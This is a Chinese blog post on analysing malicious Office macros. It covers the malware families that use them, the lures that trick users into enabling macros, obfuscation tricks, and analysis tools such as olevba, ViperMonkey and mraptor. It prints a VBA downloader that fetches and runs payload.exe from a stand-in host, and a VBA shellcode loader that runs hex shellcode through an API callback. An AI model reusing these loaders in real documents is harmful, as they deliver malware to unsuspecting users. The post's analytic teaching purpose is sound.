0x00 前言
随便写写,先写个大体结构出来,之后再继续完善。
之前也写过一篇文章介绍非PE的样本如何分析,这次算针对office宏的一些补充说明。
0x01 基于宏的攻击活动
目前利用office宏进行攻击应该是一个比较主流的攻击方式了。
但是通常情况下,宏代码并不能很好地实现所有的功能,更多的时候,宏代码都是作为一个加载器或者加载器去发挥作用的。
有时候,宏代码会直接访问攻击者的C2,下载恶意文件到本地运行。
有时候,宏代码会解密释放出一个powershell代码,再通过cmd调用powershell脚本,通过powershell脚本去实现环境检测、文件下载等功能。
宏代码基于的是VB的语法,如果么有混淆的宏代码阅读起来倒是比较方便,但是现在的大多数宏样本都会有混淆,甚至是反调试什么的,所以在遇到各类宏代码的时候也要根据情况去分析。
关于恶意宏代码到底如何分析,在实际攻击中是如何发挥作用的,可以参考上一篇文章:
https://www.yuque.com/woyaodangtaikongren/qtmgyx/ckkq7r
接下来,对各个使用宏攻击的手法、家族、恶意宏代码的保护做一个介绍。
0x02 家族介绍
Emotet
Emotet是一个专注于银行攻击的木马家族,该家族从2014年活跃至今(2019)。
特别是在2019年,每天Emotet都会在全球发送超过十万封钓鱼邮件。
正好最近分析了一个Emotet的木马,是以宏作为加载的,分析地址:https://www.yuque.com/woyaodangtaikongren/qtmgyx/trwxuv
FTCODE
一款由宏作为载体,释放powershell实现的勒索软件,活跃至2019年。
Sandworm: BlackEnergy / Olympic Destroyer
2015年和2016年两次袭击乌克兰发电厂,导致实际停电。
攻击2018年冬奥会
sandworm每次攻击的起始都是宏
还有一些其他的组织
随便举例一下,比如
Dridex、Rovnix、Vawtrak、FIN4、Locky、APT32、TA505、Hancitor、Trickbot、FIN7、Buran、 Ursni、Gozi,、Dreambot、 TA2101/Maze ransomware、 …
0x03 恶意宏如何运行
先来看一个典型的宏利用文档打开的提示:
由于宏的危险性,office通常情况下默认是禁用宏执行的,所以当带有宏的文件打开,就会询问用户是否开启宏,为了让用户在不知情的情况下启用宏,攻击者也是想了很多方式,我大概遇见过这么几种:
- 在文档中间显示一个模糊的图片,提示用户启用宏才能查看清晰图片。
- 在文档中伪造安全的机构,比如伪造微软,或者伪造一个杀软的图标,让用户相信这个文档是安全的。
- 与用户交互,把宏代码的执行设置在用户单击了某个图片或者按钮则提示用户启用宏。
恶意宏代码通常被用来做什么
一般来讲,恶意宏代码可以实现以下操作:
Run Automatically 自动运行
Download Files 下载文件
CreateFiles 创建文件
Execute a file 执行、启动文件
Run a system command 执行系统命令
call any dll 调用任意dll
Inject Shellcode 注入shellcode
Call any ActiveXObkject 调用任意的ActiveXObject
Simulate Keystrokes 模拟用户点击
….
需要注意的是,一个恶意程序可能完全由宏实现,但是更多的情况下,宏用于加载或者下载其他恶意程序。
所以对于一个未知的office文档来讲,启用office的宏和打开未知的exe文件一样危险:
一个简单的VBA Downloader(下载者),有时候也称为Dropper(加载器)示例:
private Declare Function URLDownloadToFileA Lib "urlmon"
(ByVak A AS Long,ByVal B As String ,
ByVal C As String ,ByVal D As Long ,
ByVal E As Long ) As Long
Sub Auto_Open()
Dim result As Long
fname = Environ("TEMP") & "\agent.exe"
result =URLDownloadToFileA(0,"http:compromised.com/payload.exe",fname,0,0)
Shell fname
End Sub
这里使用的URLDownloadToFileA来自于系统dll urlmon.dll
在第六行定义了名为Auto_Open的函数,该函数在文档打开的时候会自动运行(如果允许文档执行宏)
第八行滴位置,指明了下载文件的存放路径和名称
第9行的地方调用了URLDownloadToFileA函数,下载文件保存到本地
第10行的位置执行下载的payload
简单的混淆、反调试技术
- 利用ActiveX触发器
一个典型的例子:利用InkPicture1_Painted
http://www.greyhathacker.net/?p=948
- 隐藏数据
- 用于隐藏数据的Word文档变量
文档变量可以存储多达64KB的数据,隐藏在MS Word用户界面中
- 通过CallByName混淆函数调用
https://msdn.microsoft.com/en-us/library/office/gg278760.aspx
- 使用WMI运行命令
- 调用powershell
- 运行VBScript或者Jscript
运行VBS/JS代码而不将文件写入磁盘
https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-6.0/aa227637(v=vs.60)?redirectedfrom=MSDN?redirectedfrom=MSDN)
https://www.experts-exchange.com/questions/28190006/VBA-ScriptControl-to-run-Java-Script-Function.html
- Geofencing
- 通过API回调运行shellcode
一例通过VBA运行shellcode的实例:
Private Declare Function createMemory Lib "kernel32" Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As Long, ByVal dwMaximumSize As Long) As Long
Private Declare Function allocateMemory Lib "kernel32" Alias "HeapAlloc" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function shellExecute Lib "kernel32" Alias "EnumSystemCodePagesW" (ByVal lpCodePageEnumProc As Any, ByVal dwFlags As Any) As Long
Private Sub Document_Open()
Dim shellCode As String
Dim shellLength As Byte
Dim byteArray() As Byte
Dim memoryAddress As Long
Dim zL As Long
zL = 0
Dim rL As Long
shellCode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
shellLength = Len(shellCode) / 2
ReDim byteArray(0 To shellLength)
For i = 0 To shellLength - 1
If i = 0 Then
pos = i + 1
Else
pos = i * 2 + 1
End If
Value = Mid(shellCode, pos, 2)
byteArray(i) = Val("&H" & Value)
Next
rL = createMemory(&H40000, zL, zL)
memoryAddress = allocateMemory(rL, zL, &H5000)
copyMemory ByVal memoryAddress, byteArray(0), UBound(byteArray) + 1
executeResult = shellExecute(memoryAddress, zL)
End Sub
源代码来自:http://ropgadget.com/posts/abusing_win_functions.html
代码的前四行用于引用系统库,调用系统API
16行处是shellcode的十六进制编码,在这个例子中功能是打开计算器。
29行处是将shellcode的十六进制编码转换为二进制数据流
36行处将shellcode copy到了buffer处
38处执行了shellcode
关于office的加密
在97到2003版本的时候,文件加密的概念还不流行,那个时候的宏代码几乎从来没有加密过
2007版本之后,才开始通过加密的方式将VBA代码保护起来
分享两个解密的工具:
https://github.com/nolze/msoffcrypto-tool
https://github.com/herumi/msoffice
宏代码的分析工具
- 首先可以使用VBA编辑器(比如在office文档里面按alt + F11),通过VBA编辑器可以很方便的调试和跟踪
这里不得不提一下从VBA编辑器隐藏VBA代码的技巧:https://github.com/outflanknl/EvilClippy
该工具可以有效的提取office文档中的宏代码,需要python环境支持。
上面这张图列举了olevba所支持的类型,和一些值得关注的地方,比如自动触发代码、一些危险的关键词(Downloads、File writes、Shell execution DLL calls等)、还有一些IOCs
当然很多时候静态分析不能解决问题,还是需要动态分析才能更好地了解恶意代码的功能。
这里分享一个软件ViperMonkey:https://github.com/decalage2/ViperMonkey
运行结构如下:
mraptor
mraptor是github上一个开源的宏代码检测项目
https://github.com/decalage2/oletools/wiki/mraptor
大概介绍一下原理:
mraptor有三个检测标准,分别是:
A 自动执行(触发器)
W 写入文件系统或内存
X 在VBA上下文外执行文件或任何payload
当某个office宏满足了A条件,那么W和X只要满足任意一条,则会被mraptor标注为恶意。
该项目依赖python环境,用法如下:
Usage: mraptor [options] <filename> [filename2 ...]
Options:
-h, --help show this help message and exit
-r find files recursively in subdirectories.
-z ZIP_PASSWORD, --zip=ZIP_PASSWORD
if the file is a zip archive, open all files from it,
using the provided password (requires Python 2.6+)
-f ZIP_FNAME, --zipfname=ZIP_FNAME
if the file is a zip archive, file(s) to be opened
within the zip. Wildcards * and ? are supported.
(default:*)
-l LOGLEVEL, --loglevel=LOGLEVEL
logging level debug/info/warning/error/critical
(default=warning)
-m, --matches Show matched strings.
An exit code is returned based on the analysis result:
- 0: No Macro
- 1: Not MS Office
- 2: Macro OK
- 10: ERROR
- 20: SUSPICIOUS
比如扫描单个office文件:
mraptro file.doc